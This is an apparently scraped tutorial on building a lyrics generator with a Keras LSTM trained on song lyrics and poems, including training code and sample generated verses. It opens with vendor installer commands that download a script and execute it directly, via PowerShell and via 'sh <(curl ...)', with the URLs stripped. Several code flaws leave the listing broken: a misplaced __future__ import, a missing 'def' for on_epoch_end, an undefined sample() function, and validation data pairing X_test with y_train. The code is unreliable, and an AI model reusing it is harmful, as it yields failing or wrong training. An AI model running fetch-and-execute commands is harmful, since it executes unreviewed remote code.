$([scriptblock]::Create((New-Object Net.WebClient).DownloadString(''))) -activate-default Pizza-Team/Lyrics-Generator" For Linux users, run the following to automatically download and install our CLI, the State Tool along with the Lyrics Generator runtime into a virtual environment: sh <(curl -q) --activate-default Pizza-Team/Lyrics-Generator 1–Import Lyric and Poetry Data Ok, first of all we’re going to need to get some training data, which should consist of the lyrics for actual songs. There are several datasets available, including: - Million Song Dataset, which includes bags of words, tags and similarity, genres and many other features distributed in several files - MusicMood dataset, which contains around 10,000 songs labeled for sentiment analysis - Genius.com, specifically the LyricsGenius package But as every data engineer knows, the best code is the code you don’t have to maintain yourself. So, I’m going to choose the MusicOSet dataset, which aggregates data from several sources (including Genius.com) into a CSV. But to improve the quality of the rhymes our ML routine will generate, we can also add some poems from The Poetry Foundation through Kaggle. This dataset (available as a CSV) contains some 14,000 poems, including the author and, in some cases, tags associated with the poem. The idea is to combine both sources to increase the chances of obtaining some useful verses. The following code will import our two data sources, and initialize a string translator to clean the punctuation from the text before training: import io import os import sys import string import numpy as np import pandas as pd from tensorflow import keras from __future__ import print_function from tensorflow.keras.models import Sequential from sklearn.model_selection import train_test_split from tensorflow.keras.callbacks import LambdaCallback, ModelCheckpoint, EarlyStopping from tensorflow.keras.layers import Dense, Dropout, Activation, LSTM, Bidirectional, Embedding translator = str.maketrans('', '', string.punctuation) df = pd.read_csv("./data/lyrics.csv", sep="\t") df.head() pdf = pd.read_csv('./data/PoetryFoundationData.csv',quotechar='"') pdf.head() The result for the song lyrics shows some 20,000 available songs: 2–Cleanse the Data A quick exploration of the data shows that every song lyric contains some meta-labeling in the form of [tag]text[/tag]. With this in mind we can split the intro, verses and chorus for every song, and select only the first four verses (if they are available) plus the chorus. We can apply a simple function to process every song in order to split each verse and join the resulting text in a single text: def split_text(x): text = x['lyrics'] sections = text.split('\\n\\n') keys = {'Verse 1': np.nan,'Verse 2':np.nan,'Verse 3':np.nan,'Verse 4':np.nan, 'Chorus':np.nan} lyrics = str() single_text = [] res = {} for s in sections: key = s[s.find('[') + 1:s.find(']')].strip() if ':' in key: key = key[:key.find(':')] if key in keys: single_text += [x.lower().replace('(','').replace(')','').translate(translator) for x in s[s.find(']')+1:].split('\\n') if len(x) > 1] res['single_text'] = ' \n '.join(single_text) return pd.Series(res) df = df.join( df.apply(split_text, axis=1)) df.head() The result is a new column with the clean lyrics in a single line of text. We have kept the new line separator \n in order to train the model to start a new line when needed: The function to clean the poems text is simpler, and can be applied in a single line of code: pdf['single_text'] = pdf['Poem'].apply(lambda x: ' \n '.join([l.lower().strip().translate(translator) for l in x.splitlines() if len(l)>0])) pdf.head() The result is a new column with the same name of the lyrics dataframe in lowercase without punctuation. Now, we join the two dataframes into a single one we’ll use to train our model: sum_df = pd.DataFrame( df['single_text'] ) sum_df = sum_df.append(pd.DataFrame( pdf['single_text'] )) sum_df.dropna(inplace=True) 3–Creating a Recurrent Neural Network (RNN) Recall that neural networks are algorithms specialized in recognizing patterns. A basic neural network consists of: - An input layer - A learned function based on the examples provided - An output layer The learning process consists of minimizing the difference between the calculated output (ie., the ML-generated lyrics) and the target output (ie., our imported lyric/poetry data) for the same input (ie., the same seeded keywords) in a recurrent way. In the most basic neural network, the input of those algorithms are fixed size vectors, which are computed to obtain a fixed-size result. For example, with image classification a single input vector (the image) produces a single vector of probabilities (ie., the likelihood that the image is a horse or a dog). More complex neural networks let you solve problems that require a sequence of vectors as input and/or output. Examples include: - Image captioning, where input image is a single vector but the output is a sequence of text vectors (ie., the description of the image) - Sentiment analysis, where the input is a sequence of text vectors but the output is a single vector of probabilities (ie., the likelihood that the review is positive vs negative) - Text translation, where the input is a sequence of text vectors in some language and output is a sequence of text vectors in another language - Synced video captioning, where input is a sequence of video frame vectors and output is a sequence of text vectors (ie., captions for each frame of the video). RNNs provide an internal state that is combined with the input and the learned function to produce a new state. This means that RNNs are stateful and can be used to tackle problems that include sequences of vectors as input. In our case we want to use RNNs to create a language model. A language model is a probability distribution over a sequence of words. It can be used to get the conditional probability of a word given a sequence of previous words. For example, given the sequence [‘Let’, ‘me’, ‘see’, ‘what’, ‘spring’, ‘is’, ‘like’, ‘on’] the model could calculate the probability of jupiter versus paris as the next word in the sequence. One approach to creating a lyrics generator is to train an RNN to predict the next word in a sentence based on examples extracted from songs and poems. To take this approach, we will first need to: - Filter our dataset for common versus uncommon words - Create a training set with sentences composed of a fixed length of words text_as_list = [] frequencies = {} uncommon_words = set() MIN_FREQUENCY = 7 MIN_SEQ = 5 BATCH_SIZE = 32 def extract_text(text): global text_as_list text_as_list += [w for w in text.split(' ') if w.strip() != '' or w == '\n'] sum_df['single_text'].apply( extract_text ) print('Total words: ', len(text_as_list)) for w in text_as_list: frequencies[w] = frequencies.get(w, 0) + 1 uncommon_words = set([key for key in frequencies.keys() if frequencies[key] < MIN_FREQUENCY]) words = sorted(set([key for key in frequencies.keys() if frequencies[key] >= MIN_FREQUENCY])) num_words = len(words) word_indices = dict((w, i) for i, w in enumerate(words)) indices_word = dict((i, w) for i, w in enumerate(words)) print('Words with less than {} appearances: {}'.format( MIN_FREQUENCY, len(uncommon_words))) print('Words with more than {} appearances: {}'.format( MIN_FREQUENCY, len(words))) valid_seqs = [] end_seq_words = [] for i in range(len(text_as_list) - MIN_SEQ ): end_slice = i + MIN_SEQ + 1 if len( set(text_as_list[i:end_slice]).intersection(uncommon_words) ) == 0: valid_seqs.append(text_as_list[i: i + MIN_SEQ]) end_seq_words.append(text_as_list[i + MIN_SEQ]) print('Valid sequences of size {}: {}'.format(MIN_SEQ, len(valid_seqs))) X_train, X_test, y_train, y_test = train_test_split(valid_seqs, end_seq_words, test_size=0.02, random_state=42) print(X_train[2:5]) We will also need some support functions: - A generator function that will stream the training dataset to the model in order to avoid ‘out of memory’ errors. You may want to check out a good explanation about generators and the Python package keras we’ll be using. - Two functions that sample results at the end of each training epoch extracted from the keras samples # Data generator for fit and evaluate def generator(sentence_list, next_word_list, batch_size): index = 0 while True: x = np.zeros((batch_size, MIN_SEQ), dtype=np.int32) y = np.zeros((batch_size), dtype=np.int32) for i in range(batch_size): for t, w in enumerate(sentence_list[index % len(sentence_list)]): x[i, t] = word_indices[w] y[i] = word_indices[next_word_list[index % len(sentence_list)]] index = index + 1 yield x, y # Functions from keras-team/keras/blob/master/examples/lstm_text_generation.py on_epoch_end(epoch, logs): # Function invoked at end of each epoch. Prints generated text. examples_file.write('\n----- Generating text after Epoch: %d\n' % epoch) # Randomly pick a seed sequence seed_index = np.random.randint(len(X_train+X_test)) seed = (X_train+X_test)[seed_index] for diversity in [0.3, 0.4, 0.5, 0.6, 0.7]: sentence = seed examples_file.write('----- Diversity:' + str(diversity) + '\n') examples_file.write('----- Generating with seed:\n"' + ' '.join(sentence) + '"\n') examples_file.write(' '.join(sentence)) for i in range(50): x_pred = np.zeros((1, MIN_SEQ)) for t, word in enumerate(sentence): x_pred[0, t] = word_indices[word] preds = model.predict(x_pred, verbose=0)[0] next_index = sample(preds, diversity) next_word = indices_word[next_index] sentence = sentence[1:] sentence.append(next_word) examples_file.write(" "+next_word) examples_file.write('\n') examples_file.write('='*80 + '\n') examples_file.flush() And finally, a simple function to build the model for text generation. We’ll use a Long Short Term Memory (a variant of RNN) with a word embedding layer. The word-embedding technique maps words of similar meaning to vectors closer in the predefined vector space. This technique also improves the speed of training for the model, since it represents the words in a dense way. The activation function is the way that the network will decide if a node will be activated or not. This introduces a nonlinear behavior different from a linear regression model: def get_model(): print('Build model...') model = Sequential() model.add(Embedding(input_dim=len(words), output_dim=1024)) model.add(Bidirectional(LSTM(128))) model.add(Dense(len(words))) model.add(Activation('softmax')) return model The training code saves checkpoints with the “best” model at the time, based on the accuracy score. At the end of each epoch, some samples are written to the examples.txt file. Each sample is generated using a parameter called temperature, which models the level of creativity that the network will allow itself when calculating the predicted next word. In our case, we’ll vary the temperature from 0.3 to 0.7, and train our model for 20 epochs using 98% of examples as a training set: model = get_model() model.compile(loss='sparse_categorical_crossentropy', optimizer="adam", metrics=['accuracy']) file_path = "./checkpoints/LSTM_LYRICS-epoch{epoch:03d}-words%d-sequence%d-minfreq%d-" \ "loss{loss:.4f}-acc{accuracy:.4f}-val_loss{val_loss:.4f}-val_acc{val_accuracy:.4f}" % \ (len(words), MIN_SEQ, MIN_FREQUENCY) checkpoint = ModelCheckpoint(file_path, monitor='val_accuracy', save_best_only=True) print_callback = LambdaCallback(on_epoch_end=on_epoch_end) early_stopping = EarlyStopping(monitor='val_accuracy', patience=20) callbacks_list = [checkpoint, print_callback, early_stopping] examples_file = open('examples.txt', "w") model.fit(generator(X_train, y_train, BATCH_SIZE), steps_per_epoch=int(len(valid_seqs)/BATCH_SIZE) + 1, epochs=20, callbacks=callbacks_list, validation_data=generator(X_test, y_train, BATCH_SIZE), validation_steps=int(len(y_train)/BATCH_SIZE) + 1) 4–Results of Each Training Epoch After a while, our model will spit out some results. Note that you’ll definitely want to train these kinds of models on a GPU for faster results. With each epoch iteration, results will improve. For example, the following generated lyrics are samples from the second epoch escalating levels of creativity: ----- Generating text after Epoch: 2 ----- Diversity:0.3 ----- Generating with seed: "oh thats alright thats just" oh thats alright thats just my way im goin fast im comin home i'm comin home home i cant find a chance to find the way you move oh my my my my my my my my my my my my my my my my my my my my my my ----- Diversity:0.4 ----- Generating with seed: "oh thats alright thats just" oh thats alright thats just my way you make me feel thats just the way you move oh you got me stuck in the streets and i could have never seen i got the moves i got moves i got the moves i got a moves i ----- Diversity:0.5 ----- Generating with seed: "oh thats alright thats just" oh thats alright thats just the way you make me feel thats just the way you move but i was on the way you move you love me and i cant end you don't give a f*ck i'm a ring running up the bucks damn ayy leave me ----- Diversity:0.6 ----- Generating with seed: "oh thats alright thats just" oh thats alright thats just the way they get right more than of the song that was a giant or not my heart and my heart cant let it go never be a one who dem is the long time and i see i got a lot of shot ----- Diversity:0.7 ----- Generating with seed: "oh thats alright thats just" oh thats alright thats just my friend tell me where your hair run the other one i laid on the roof of my body and as if you can wear your sweatshirt ooh you cant take your pretty home ima leave me a oh yeah yeah my baby ================================================================ Compare the results above with those obtained from the 20th iteration epoch: ================================================================ ----- Generating text after Epoch: 19 ----- Diversity:0.3 ----- Generating with seed: "are you're sittin here in" are you're sittin here in the bar put in the safe and how it real when you hear this beat it tight ain't wait makin you ain't sorry for you i was always on the way you showed up oh what if i do when your face feel ----- Diversity:0.4 ----- Generating with seed: "are you're sittin here in" are you're sittin here in summer i just need one more shot at second longer towel i'm a dream if you don't know my name i don't hit no touch when i'm with you i don't like i just control cause i think its cause i remembered for the first ----- Diversity:0.5 ----- Generating with seed: "are you're sittin here in" are you're sittin here in this bar put in the sky over the lip of fire until the heat is sharp for you crystal know i wanna know yeah i don't know how to do what you settle wanting what you known great age on our bodies ----- Diversity:0.6 ----- Generating with seed: "are you're sittin here in" are you're sittin here in if you don't know how i like i know that i wanna do it like you do i just wanna go to the place to read where in the dry land and school behind the star to say on my side on the side ----- Diversity:0.7 ----- Generating with seed: "are you're sittin here in" are you're sittin here in the tell me feel the same same sometimes you hate your love yah my two two homes yah woo woo woo woo woo woo woo woo woo woo woo woo woo woo woo woo woo ima buy it real eat from the start sitting there ================================================================ The old adage, “Fake it till you make it” is appropriate here, since it’s obvious that we’ll need many more iterations before we get some truly useful lyrics. Conclusion: Building a Lyrics Generator with ActivePython – faster, secure, and better suited for teams Training an RRN model to generate text that imitates a bunch of input examples is really fun. While the lyrics we generated aren’t likely to win us a Pulitzer prize, the concepts and tools behind RNN models are well known, allowing us to generate some quick results with just a few lines of code. But if you want your lyrics to better emulate that of a human’s output, you’ll have to invest a lot more time and resources. Architecting a good RNN and tuning hyperparameters is a really complex task. In our case, we chose to work with a Long Short Term Memory RNN, but we could also try other variants such as Autokeras, which is a tool that automates many of the tasks required to build a Neural Network model. The text regression sample shows how easy it is to train a model that can predict a word, given a sequence. Another option is to try to code a model similar to the miniature Generative Pre-trained Transformer (GPT). Or you can use a pre-trained model like GPT-2 simple. - You can check the entire code for this model in my Githun repository. - To get started quicker, install our Lyrics Generator.
https://sweetcode.io/how-to-build-a-lyrics-generator-with-python-recurrent-neural-networks/
CC-MAIN-2021-25
refinedweb
3,054
51.99
Report that libvirt was built without that driver instead of trying to connect to a libvirtd, when we know that this is going to fail. --- I had this on my todo list for a while now, because multiple people on the mailing list and on IRC reported problems that can be summarized as: "I just built/installed libvirt and want to connect to an ESX server, but libvirt complains about missing certificates or wants to connect to a non-existing libvirtd on the ESX server. I don't get it..." The problem was always the same: libvirt built without the ESX driver. But people don't get that, because libvirt reported cryptic errors in that situation. I decided to fix this now because the problem was reported again on IRC today. src/libvirt.c | 28 ++++++++++++++++++++++++++++ 1 files changed, 28 insertions(+), 0 deletions(-) diff --git a/src/libvirt.c b/src/libvirt.c index 2754fd0..2487b82 100644 --- a/src/libvirt.c +++ b/src/libvirt.c @@ -1210,6 +1210,34 @@ do_open (const char *name, ret->flags = flags & VIR_CONNECT_RO; for (i = 0; i < virDriverTabCount; i++) { + /* We're going to probe the remote driver next. So we have already + * probed all other client-side-only driver before, but none of them + * accepted the URI. + * If the scheme corresponds to a known but disabled client-side-only + * driver then report a useful error, instead of a cryptic one about + * not being able to connect to libvirtd or not being able to find + * certificates. */ + if (virDriverTab[i]->no == VIR_DRV_REMOTE && + ret->uri != NULL && ret->uri->scheme != NULL && + ( +# ifndef WITH_PHYP + STRCASEEQ(ret->uri->scheme, "phyp") || +# endif +# ifndef WITH_ESX + STRCASEEQ(ret->uri->scheme, "esx") || + STRCASEEQ(ret->uri->scheme, "gsx") || +# endif +# ifndef WITH_XENAPI + STRCASEEQ(ret->uri->scheme, "xenapi") || +# endif + false)) { + virReportErrorHelper(NULL, VIR_FROM_NONE, VIR_ERR_INVALID_ARG, + __FILE__, __FUNCTION__, __LINE__, + _("libvirt was built without the '%s' driver"), + ret->uri->scheme); + goto failed; + } + DEBUG("trying driver %d (%s) ...", i, virDriverTab[i]->name); res = virDriverTab[i]->open (ret, auth, flags); -- 1.7.0.4
https://www.redhat.com/archives/libvir-list/2010-June/msg00225.html
CC-MAIN-2017-04
refinedweb
330
52.9
On Mon, 10.10.11 13:59, Eric W. Biederman ([email protected] What matters to me though is that we can generically detect Linux containers instead of specific implementations. > - Allow modification to the output of uname(2). The uts namespace > already covers uname(2) and uname is the standard method to > communicate to userspace the vageries about the OS level environment > they are running in. Well, I am not a particular fan of having userspace tell userspace about containers. I would prefer if userspace could get that info from the kernel without any explicit agreement to set some specific variable. That said detecting CLONE_NEWUTS by looking at the output of uname(2) would be a workable solution for us. CLONE_NEWPID and CLONE_NEWUTS are probably equally definining for what a container is, so I'd be happy if we could detect either. For example, if the kernel would append "(container)" or so to utsname.machine[] after CLONE_NEWUTS is used I'd be quite happy. > My list of things that still have work left to do looks like: > - cgroups. It is not safe to create a new hierarchies with groups > that are in existing hierarchies. So cgroups don't work. Well, for systemd they actually work quite fine since systemd will always place its own cgroups below the cgroup it is started in. cgroups hence make these things nicely stackable. In fact, most folks involved in cgroups userspace have agreed to these rules now: Among other things they ask all userspace code to only create subgroups below the group they are started in, so not only systemd should work fine in a container environment but everything else following these rules. In other words: so far one gets away quite nicely with the fact that the cgroup tree is not virtualized. > - device namespaces. We periodically think about having a separate > set of devices and to support things like losetup in a container > that seems necessary. Most of the time getting all of the way > to device namespaces seems unnecessary. Well, I am sure people use containers in all kinds of weird ways, but for me personally I am quitre sure that containers should live in a fully virtualized world and never get access to real devices. > As for tests on what to startup. Note again that my list above is not complete at all and the point I was trying to make is that while you can find nice hooks for this for many cases at the end of the day you actually do want to detect containers for a few specific cases. > - udev. All of the kernel interfaces for udev should be supported in > current kernels. However I believe udev is useless because container > start drops CAP_MKNOD so we can't do evil things. So I would > recommend basing the startup of udev on presence of CAP_MKNOD. Using CAP_MKNOD as test here is indeed a good idea. I'll make sure udev in a systemd world makes use of that. > - VTs. Ptys should be well supported at this point. For the rest > they are physical hardware that a container should not be playing with > so I would base which gettys to start up based on which device nodes > are present in /dev. Well, I am not sure it's that easy since device nodes tend to show up dynamically in bare systems. So if you just check whether /dev/tty0 is there you might end up thinking you are in a container when you actually aren't simply because you did that check before udev loaded the DRI driver or so. > -. So what we did right now in systemd-nspawn is that the container supervisor premounts /proc/sys read-only into the container. That way writes to it will fail in the container, and while you get a number of warnings things will work as they should (though not necessarily safely since the container can still remount the fs unless you take CAP_SYS_ADMIN away). > -. The SELinux folks modified libselinux on my request to consider selinux off if /sys/fs/selinux is already mounted and read-only. That means with a new container userspace this problem is mostly worked around too. It is crucial to make libselinux know that selinux is off because otherwise it will continue to muck with the xattr labels where it shouldn't. In if you want to fully virtualize this you probably should hide selinux xattrs entirely in the container. > So while I agree a check to see if something is a container seems > reasonable. I do not agree that the pid namespace is the place to put > that information. I see no natural to put that information in the > pid namespace. Well, a simple way would be to have a line /proc/1/status called "PIDNamespaceLevel:" or so which would be 0 for the root namespace, and increased for each namespace nested in it. Then, processes could simply read that and be happy. > I further think there are a lot of reasonable checks for if a > kernel feature is supported in the current environment I would > rather pursue over hacks based the fact we are in a container. Well, believe me we have been tryiung to find nicer hooks that explicit checks for containers, but I am quite sure that at the end of the day you won't be able to go without it entirely. Lennart -- Lennart Poettering - Red Hat, Inc.
http://article.gmane.org/gmane.linux.kernel/1201446
CC-MAIN-2016-40
refinedweb
905
69.01
07 December 2011 09:49 [Source: ICIS news] SINGAPORE (ICIS)--?xml:namespace> According to some market players, the price drop is mainly because increased supply. Most of the cargoes that were imported during the October-November period were at around $1,306/tonne (€980/tonne) CFR (cost & freight) This resulted in a profit of around CNY360/tonne as the ex-warehouse prices of the cargoes were at around CNY10,785/tonne, some distributors in east As a result, most sellers are reducing their inventories at the lower prices to gain cash to meet their credit terms, a trader in south In addition, downstream demand is weak because of The falling prices of HDPE may cause the near-term outlook to be bearish as market players will expect the prices to drop further. ($1 = CNY6.34, $1 = €0.75) For more on high density
http://www.icis.com/Articles/2011/12/07/9514566/china-hdpe-price-falls-by-3.2-in-early-december-on-supply.html
CC-MAIN-2015-06
refinedweb
143
53.75
In this post we looked at adding String resource bundles to our JSF applications to move our string constants into external resources that we can define for different locales. Now I want to extend that example to show how you can expand on that by using injection to access those resources. We finished off with a MessageProvider class that was responsible for fetching the resource bundle and had methods for fetching values from that bundle. We created this class manually and accessed the string resources from it. The problem here is that we need to keep on recreating the provider in each piece of code that needs it. Doing things the CDI way You could construct an instance of the MessageProvider each time you need it, but instead, we should look at how we can change our existing code to make it more CDI like. We can make the method that fetches the bundle a producer method and then inject the resource bundle where needed. If we give it a long enough scope, we can re-use it in the same request. First we’ll write a new Qualifier for the bundle so we can uniquely identify this bundle in a type safe manner. We may want to produce and inject multiple resources that will all be of the same type ( ResourceBundle) so using a qualifier is a probably a good idea. @Qualifier @Target({ TYPE, METHOD, PARAMETER, FIELD }) @Retention(RUNTIME) @Documented public @interface MessageBundle { } We’ll add a @Produces annotation to the getBundle() method. public class MessageProvider { @Produces @MessageBundle public ResourceBundle getBundle() { if (bundle == null) { FacesContext context = FacesContext.getCurrentInstance(); bundle = context.getApplication().getResourceBundle(context, "msgs"); } return bundle; } ... ... ... } Now we just need to inject this into our bean and use the injected bundle instead of constructing our own instance of the MessageProvider class. @Named @RequestScoped public class SomeBean { @Inject @MessageBundle private ResourceBundle bundle; public String getMessage() { String msg = null; String key = "someMessage"; try { msg = bundle.getString(key); } catch (MissingResourceException e) { msg = "??"+key+"?? is missing!"; } return MessageFormat.format(msg, "SomeValue"); } } While this is more CDI-ish, it does have the problem that it consists of more code since we re-produce the exception handling code each time. So we probably need to use something that consists of more than just the bundle, say maybe the whole MessageProvider class with the methods to fetch key values. The beauty here is that we we don’t need to do anything to achieve this except give the MessageProvider class a scope : @RequestScoped public class MessageProvider { .... .... } No we just add an injection point for the MessageProvider class in our bean. We’ll create a new bean for this called AnotherBean : @Named @RequestScoped public class AnotherBean { @Inject private MessageProvider provider; public String getFirstNameCaption() { return provider.getValue("firstName"); } } In our JSF page we add a reference to the property to display the value : First Name Caption = #{anotherBean.firstNameCaption} This results in the following text being displayed : First Name Caption = First Name You might notice that our old bean is still using the resource bundle from the producer method, and everything is still working. This is because beans can be injectable and still contain producer methods. You will also find that across the request, the injected instance of the bundle is always the same as the one in provider.getBundle(). This is because every time the bundle is produced, the MessageProvider is constructed and put into request scope and the bundle value is returned. This bundle value is retained in the MessageProvider instance. No matter how many times we inject the bundle, the same one is used, even though we didn’t give it a request scope. This is actually a useful thing because the resource bundle cannot be proxied by CDI so it cannot be put into request scope itself, but it can be put into request scope if it is contained in another bean (in this case, the MessageProvider). This shows not only how flexible CDI is in making objects available to your applications, but how easy it is to tweak how those objects are made available, all without changing the underlying code. Next time we’ll look at using event handling to notify us of missing resources. You can download the Maven source code for this project and run it locally by unzipping it and running mvn clean jetty:run in the command line and going to. Perfect, as always.
http://www.andygibson.net/blog/article/injecting-string-resource-services-with-cdi/
CC-MAIN-2019-13
refinedweb
734
58.72
A class that mimics the std:: library auto_ptr class, but works with arrays. More... #include <FITSUtil.h> A class that mimics the std:: library auto_ptr class, but works with arrays. This code was written by Jack Reeves and first appeared C++ Report, March 1996 edition. Although some authors think one shouldn't need such a contrivance, there seems to be a need for it when wrapping C code. Usage: replace float* f = new float[200]; with FITSUtil::auto_array_ptr<float> f(new float[200]); Then the memory will be managed correctly in the presence of exceptions, and delete will be called automatically for f when leaving scope.
http://heasarc.gsfc.nasa.gov/fitsio/CCfits/html/classCCfits_1_1FITSUtil_1_1auto__array__ptr.html
crawl-003
refinedweb
106
59.84
Join devRant Search - "wk112" -63 - I am a Tester. I eat bugs for breakfast. For lunch. And for dinner. My day begins with fighting with devs. That's my primary role these days.38 - Frontend Dev: That's not possible in Frontend, we should do it in Backend. Backend Dev: That's not possible in Backend, we should do it in Frontend. -- CIVIL WAR --28 - - - - Do devs really fight or do we just mildly assert differing opinions then ignore each other for extended periods of time?3 - - if( !condition ) vs. if(condition == false) Pointless debate started with readability, turned into heated insults under 30 seconds 😂21 - - In the midst of a debate / discussion with a dev-friend ... Me: Discussions with you are so exhausting. Him: I don't discuss. I explain why I'm right. ... D:6 - - - Some former colleague just blatantly commented out units tests I wrote for his build to pass. What the...7 - Them: "Automated builds and deployments are a waste of time, they do strange things you didn't tell them to and they make mistakes" Everyone else: \/11 - - Let's use jquery to fix this - No - But it will work just fine - I'd rather re-write the code and not use jquery in an angular project - ... - NO!11 - - - That one time I was appointed to be a group project leader and forced my members to learn git. It was a fierce battle, but I did not give in. Needless to say, I eventually got some thanks in return (after insults about git being complicated)10 - - Oh god, where to start? It is my job to fight against devs that likes to breaks RFC, do stuff stupidly or just do not actually know how stuff works8 - - Him: "I don't need source control, it's just another program that does unknown things on my source files. What if one day it stops working?? How do I get my files??" Me: "you could say the same thing on 90% of the tools you use every day... Like when you restore npm packages by GUI" him: "what are those? I don't use them" Also him: "command line is vintage"2 - > - - - - I usually never had like a serious fight with a other dev I have a really good team but occasionally when I do this is my response. 🙂3 - - Worst fight? Stubborner against stubbornest. About a focking fact that was trivially true or false. Fun fact: it didn't matter anyway. Boy, did we raise our voices and attract the attention of everybody in the room. Lesson learned. - - Sr said it's firewall's fault. - I said it's not fw - it's gotta be application's fault. - He walked away. That was intense - Friend: PHP is trash. Me: PHP is the most beautiful thing men created. And you're trash. Friend: it's function(){ } Me: it's function() { }21 - - Worst fight with another dev was whether a textbox should have a height of 24px or 28px ... It lasted 30 minutes to resolve that4 - Me : java is suck. Friend : php is suck. Friend2 : c++ is suck. Friend3 : network is suck. Friend4 : security is very suck! All : I agree.5 - - Friend’s code: var monkey=77; Go(monkey); The worst thing in the world is reading someone’s uncommented code ...3 - I have spent 2 hours fighting with another dev once about mysqli vs pdo and how mysqli is probably worse than pdo, turns out the only difference is that pdo supports more databases, where as mysqli only supports mysql, else their spec is basically the same. 😰2 - I scoured my memory, and realized that I have never had a fight with another developer in all my years. Yes, there have been debates, but they were logical. There are even a few unresolved debates, due to preference and ideology, but never anything with enough emotion to be called a fight. That's pretty cool. We are smart people and can discuss important issues without resorting to petty bickering - My fights with other devs always revolve around the position of curly braces: Should they be on the same line or should they have a whole line just for themselves? I mean, if they go on the same line you have less lines of code and you can fit more into the same view, but putting them on a new line makes it all a little less messy8 - Probably about the pronunciation of "Fresnel", which he, for reasons unknown to me. Pronounces as "furnell"4 - Most Devs I've met have been rational, so I'm fortunate enough to not have had a fight with a dev. There was, however, one guy. Had to collaborate with him on a web app. I would fight with him almost everyday to not use deprecated tags, use proper CSS, not hack something together because it just works and the list goes on too long. But I never succeeded in convincing him. Learnt that no matter how much you try, you cannot convince someone stupid - @dfox I keep getting an error when trying to post my wk112 rant :\ It does have about 4986 characters in total... All I get is "There was an error creating the rant."9 - Hmmm! So I'm passive aggressive person. I don't argue with my fellow devs I post the their faults on devRant! - why is everybody posting about wordpress & php? fuck my life fuck php fuck $300 freelance wordpress websites3 - - Me: Open Jira. See 8 point story skip QA column and move into Done. Ask dev why it didn’t go through QA. Teammate: Oh, did they want to test this? Commence argument that **all** stories need to go through QA. -? - - Fight? I always have cold wars with my fellow developers and mostly with that senior ass who takes all the fucking credits and presentations.. -. - Not a fight per se, but I once had a debate with a tech lead who thought you could set a variable in the ‘then’ clause of a Javascript promise and just use said variable after the promise declaration and assume it would be populated. “no.... thats not how asynchronous code works. once had a heated discussion with another developer over whether AngularJS is backend or frontend. For some reason he believed it's a backend framework. - Worst one was git rebase vs merge with me defending merge against rebasing everything into a single commit before review... making my existence on this planet miserable.1 - Never had a real fight referring to any development - stuff, because most devs around me are more experienced and most of the time I can see the point in their opinions. I definitely had some discussions about some constructs in C++ for example. But thats it. - During a fight with a co-worker usually it is not about what happens in that moment. I kinda keep my cool.Then later I become passive aggressive. Start replying with single word responses. Intentionally get that dumb fuck into trouble during meetings. Sarcasm overflows. - Relating back to my wk112 rant, after my team member threatened to remove my code I almost screamed at them... We’ve since reconciled and are quite good friends - Last fight was with a teammate. He turned so paranoic about using JavaScript. He says that using tools from the browser like localStorage id a risk and can fail easily. (The detail here is: if you ask him what is ES6, you blow his mind) - We had a discussion about coding style. At one point I said that it’s his personal opinion and not an objective fact. He went full on rage mode and said that he takes this as an personal attack. Then another dev chimed in, telling me to listen to the older devs, because they know more. Not really a big fight, but stuff like this makes me mad as hell.1 - Not a particular fight, but sometimes it really gets on my nerves when they excuse themselves with "well, it works locally, so you/AWS/OS/the internet must've screwed up".3 - I never had a fight. And I mean never at all, not just dev-related. I'm not sure that this is a good thing. Sometimes I wonder, does this mean that I'm a good diplomat, or that I'm not relevant enough to argue with?1 - - Throughout most of my programming career so far, I haven't had too many fights or major arguments with other developers, which is probably some kind of miracle. Although I think this stems from where each job I have been in (except 1 job), I seem to have much more knowledge than the other developers. So even if an argument/discussion would come up, I could usually reason with them logically. - - Not really a fight, but a disagreement that lead to some big changes in my mind. When entering my school, I still had a part of me wanting to do game development. I'm gonna make it short : We wanted to do a game in Java at school in first year, but one wanted to do it in C because didn't feel good with Java. And I always sum that experience up by saying "Never again." The atmosphere in the team was very friendly, but that's the only good part of it. I hated doing that project, and it removed that small will of doing game dev (as a paid main job). Maybe it would have changed if it was later during my studies, since I was still learning how to code during that project. But I guess it showed that I was maybe not that motivated to do games.2 Top Tags
https://devrant.com/search?term=wk112
CC-MAIN-2019-51
refinedweb
1,625
73.37
Basic Tutorial 1 From Ogre Wiki Beginner Tutorial 1: The SceneNode, Entity, and SceneManager constructs). NO knowledge of Ogre is assumed for this tutorial outside of what is contained in the setup guide.. Getting Started Initial project in the compiler of your choice for this project, and add a source file which contains this code: #include "ExampleApplication.h" class TutorialApplication : public ExampleApplication { protected: public: TutorialApplication() { } ~TutorialApplication() { } protected: void createScene(void) { } }; #if OGRE_PLATFORM == OGRE_PLATFORM_WIN32 #define WIN32_LEAN_AND_MEAN #include "windows.h" INT WINAPI WinMain( HINSTANCE hInst, HINSTANCE, LPSTR strCmdLine, INT ) #else int main(int argc, char **argv) #endif { // Create application object TutorialApplication app; try { app.go(); } catch( Exception& e ) { #if OGRE_PLATFORM == OGRE_PLATFORM_WIN32 MessageBox( NULL, e.what(), "An exception has occurred!", MB_OK | MB_ICONERROR | MB_TASKMODAL); #else fprintf(stderr, "An exception has occurred: %s\n", e.what()); #endif } return 0; } If you are using the OgreSDK under Windows, be sure to add the "[OgreSDK_DIRECTORY]\samples\include" directory to this project (the ExampleApplication.h file is located there) in addition to the standard include. If using the Ogre source distribution, this should be located in the "[OgreSource_DIRECTORY]\Samples\Common\include" directory. Be sure you can compile and run this code before continuing to the next section, though nothing other than a blank screen with a framerate box will show up until we add things later in the tutorial. Once the program is working, use the WASD keys to move, and the mouse to look around. The Escape key exits the program. Troubleshooting If you have problems, check Setting Up An Application to setup your compiler properly, or look in the Ogre.log file for more detailed information.. Note that later tutorials will not contain this troubleshooting information, so please pay special attention to the following sections if you are having problems. Message Box Trouble If you are using Visual Studios with Unicode support turned on for the project (in this case) expecting Unicode, and we are giving it an ANSI string. To fix this, change the following line: MessageBox( NULL, e.what(), "An exception has occured!", MB_OK | MB_ICONERROR | MB_TASKMODAL); to this: MessageBoxA( NULL, e.what(), "An exception has occured!", MB_OK | MB_ICONERROR | MB_TASKMODAL); Or you can change your text format in the compiler from Unicode to ANSI. However, you will lose support for international languages. The reason for this is that "MessageBox" is automatically resolved to either MessageBoxA (ANSI) or MessageBoxW (Wide/Unicode), depending on the project configuration. We fix the error by being explicit about it using ANSI.. Resources or Plugin Problems Make sure you have a plugins.cfg and a resources.cfg in the same directory as the executable. Plugins.cfg tells OGRE which rendering libraries are available (Direct3D9, OpenGL, etc). Resources.cfg is used by the ExampleApplication and specifies paths to textures, meshes and scripts. Both are text files, so edit them and make sure the paths are correct. Otherwise your 